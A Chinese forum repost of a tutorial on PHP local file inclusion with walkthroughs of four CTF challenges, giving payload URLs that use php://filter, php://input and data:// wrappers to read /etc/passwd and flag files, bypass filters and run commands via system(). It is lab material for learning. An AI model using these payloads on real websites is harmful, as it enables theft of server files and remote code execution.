本地文件包含毛病详解与CTF实战

铁佛  金牌会员 | 2024-9-16 19:03:21 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 879|帖子 879|积分 2637

1. 本地文件包含简介

1.1 本地文件包含定义

本地文件包含是一种Web应用步伐毛病,攻击者通过操控文件路径参数,使得服务器端包含了非预期的文件,从而可能导致敏感信息走漏。
常见的攻击方式包括:

  • 包含配置文件、日志文件等敏感信息文件,导致信息走漏。
  • 包含某些可执行文件或利用文件上传功能生成的恶意文件,进而执行任意代码。
示例:
  1. [/code][size=5]1.2 php伪协议[/size]
  2. PHP 伪协议允许开发者通过指定不同的输入源来读取、处置惩罚和引入数据,这一特性在文件包含毛病(如 include 或 require)中被滥用,导致攻击者能够通过伪协议来读取敏感数据或执行恶意代码。
  3. 以下是在文件包含毛病中常用的伪协议。
  4. [list=1]
  5. [*][b]php://input[/b]:
  6. [list]
  7. [*]攻击者可以通过伪协议 php://input 读取 POST 数据并将其作为包含文件的内容。这允许攻击者上传或[b]注入恶意代码[/b],导致代码执行。
  8. [*]用法:
  9. ?file=php://input+post包
  10. [/list]
  11. [*][b]php://filter[/b]:
  12. [list]
  13. [*]通过 php://filter 伪协议,攻击者可以将目标文件的内容以编码的情势返回,这使得攻击者可以[b]读取敏感文件[/b]的内容(如配置文件)。
  14. [*]用法
  15. ?file=php://filter/[参数+过滤器]/resource=[target_file]
  16. [*]示例:
  17. 如果用户传入 file=php://filter/read=convert.base64-encode/resource=/etc/passwd,服务器会返回 /etc/passwd 文件的 base64 编码内容,攻击者可以解码并查看文件。
  18. [/list]
  19. [*][b]data://[/b]:
  20. [list]
  21. [*]攻击者可以利用 data:// 伪协议[b]注入任意代码[/b]并执行。例如:
  22. [*]示例:
  23. 攻击者可以通过传入 file=data:text/plain,,让 PHP 执行 ls 命令。
  24. php伪协议的更具体内容参考[url=https://segmentfault.com/a/1190000018991087]php伪协议总结[/url]
  25. [/list]
  26. [/list][size=6]2.CTF实战[/size]
  27. 本文靶场全部泉源于[url=https://adworld.xctf.org.cn/]攻防天下[/url]
  28. [size=5]2.1 file_include[/size]
  29. [size=4]1. 题目&分析[/size]
  30. highlight_file(__FILE__);的作用是将当前文件的源码(包括文件包含的的内容)以高亮的情势展示,因此我们才能利用这个毛病。
  31. 本题包含了一个check.php,从字面上暗示了会对我们传入的参数举行一定过滤
  32. 本题用get方式接收了参数filename,并对文件举行包含,我们可以通过伪协议举行文件读取
  33. [align=center][img]https://img2024.cnblogs.com/blog/3510591/202409/3510591-20240916192449668-741385859.png[/img][/align]
  34. [size=4]2. 解法[/size]
  35. 本题的过滤非常的严格,而且由于check.php的内容是不知道的,只能不断尝试
  36. php://input 无回显
  37. [code]/?filename=php://input
  38.         post:<?php phpinfo();?>
复制代码
data:// 无回显
  1. /?filename=data:text/plain,<?php phpinfo();?>
复制代码
php://filter
  1. /?filename=php://filter/read=convert.base64-encode/resource=flag.php
复制代码
尝试上方代码表现do not hack!,尝试后发现read与base64-encode被过滤了:read可以直接省略,当参数缺省时默以为read;而后者需要替换其他的过滤器
  1. php://filter/convert.base64-encode/resource=flag.php  
  2. php://filter/convert.quoted-printable-encode/resource=flag.php  
  3. php://filter/string.rot13/resource=flag.php  
  4. php://filter/string.toupper/resource=flag.php  
  5. php://filter/string.tolower/resource=flag.php  
  6. php://filter/string.strip_tags/resource=flag.php
复制代码
又尝试利用了多个过滤器,发现都表现do not hack!被过滤了。
实际上,本题考察的是下方这个比力冷门的过滤器
  1. ?filename=php://filter/convert.iconv.UTF8.UTF16/resource=flag.php
复制代码
得到flag

3. 小结

本题重要考察了php://filter的用法,尤其是对参数与过滤器的相识。
2.2 fileclude

1. 题目&分析

本题通过get方式接受两个参数file1与file2
本题对file1举行包含,此处可以通过伪协议去包含flag.php
本题会读取文件file2的内容并与hello ctf比力,需要注意的是,如果我们直接传入file2=hello ctf,file_get_contents函数会去读取hello ctf这个文件,这显然无法得到任何内容。要想满足该if条件,必须通过伪协议将字符串传输给file2,这样PHP 会将字符串 "hello ctf" 作为文件内容举行比力。

2 解法

本题解法就比力简单了,file1通过php://filter读取flag,file2通过data://输入hello ctf。注意最后得到的字符串需要Base64解码,就是flag了
  1. /?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello ctf
复制代码
3. 小结

本题难点在于正确认识file_get_contents函数的性质,从而选择data://输入hello ctf
别的,值得一提的是,利用某些过滤器读取flag出现了报错的现象,这是由于其编码过程粉碎了php的语法,使得PHP 剖析器无法识别这些字符串。一般来说,利用 Base64 是不出出现这种编码问题的,由于 Base64 是一种可以将二进制数据安全编码为 ASCII 字符的方式,不会对 PHP 代码造成语法错误。不妨只有当Base64被过滤的情况下,再去考虑尝试其他的过滤器。
2.3 fileinclude

1. 题目&分析

页面中给出了两个提示
文件的路径为/var/www/html/,暗示利用伪协议读取的时间需要输入完整路径,而非像之前一样直接包含即可
flag文件的名字叫flag.php

按F12查看网页源代码,给出新的提示。本题在cookie处接受一个language参数,赋值给lan与.php拼接后被文件包含,最后文件内容随着index.php被输出前端。

2. 解题

利用hackbar添加cookie,内容如下。得到字符串后需要Base64解码。
  1. language=php://filter/convert.base64-encode/resource=/var/www/html/flag
复制代码

3. 小结

本题与之前的不同之处有两点

  • 传参利用的是cookie,而非get。推广出去,get、post、cookie都有可能成为提交的方式。
  • 本题的包含要求了具体的路径,之前的题目可能是由于设置了include_path使得include直接包含了flag.php
2.4 Web_php_include

1. 题目&分析

本题存在两个get方式接受的参数,但是hello参数被接收后既没有被包含,也不参与条件的判定,以为在本题中不起作用,不过他显然会引起xss毛病,此处不作详解。
对于page参数,通过strstr函数对php://举行了过滤。

2. 解法一 PHP大写绕过

考虑到php是大小写不敏感的,但是strstr函数是大小写敏感的,可以通过大写PHP://来绕过过滤。
尝试下方语句后发现flag未正常回显,猜测flag所在的文件名并不是flag.php
  1. /?page=PHP://filter/read=convert.base64-encode/resource=flag.php
复制代码
尝试用PHP://input写入php代码读取
  1. /?page=PHP://input
  2.         <?php system("ls -lah")?> //查看当前目录下所有文件
  3.         <?php system("tac fl4gisisish3r3.php")?> //读取上一步看到的flag文件
复制代码
3. 解法二 data://执行命令

直接利用data://执行命令得到flag
  1. ?page=data://text/plain,<?php system("ls")?>
  2. ?page=data://text/plain,<?php system("tac fl4gisisish3r3.php")?>
复制代码
值得一提的是,如果对写入内容有过滤的话,可以对写入内容举行Base64编码,此处不需要举行编码,直接做即可。
  1. /?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJscyIp
复制代码
4. 小结

本题与之前不同的是flag的文件名称为fl4gisisish3r3.php,这导致了不可能通过直接读取的方式获取flag,而必须要通过命令执行的方式来找到其名称。
宇宙安全声明

本博客所提供的内容仅供学习与交流目的,所有文章、代码及相关资料仅用于提升网络安全知识水平。博主不对任何人因利用博客中提到的技术或工具而产生的任何后果负责。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

铁佛

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表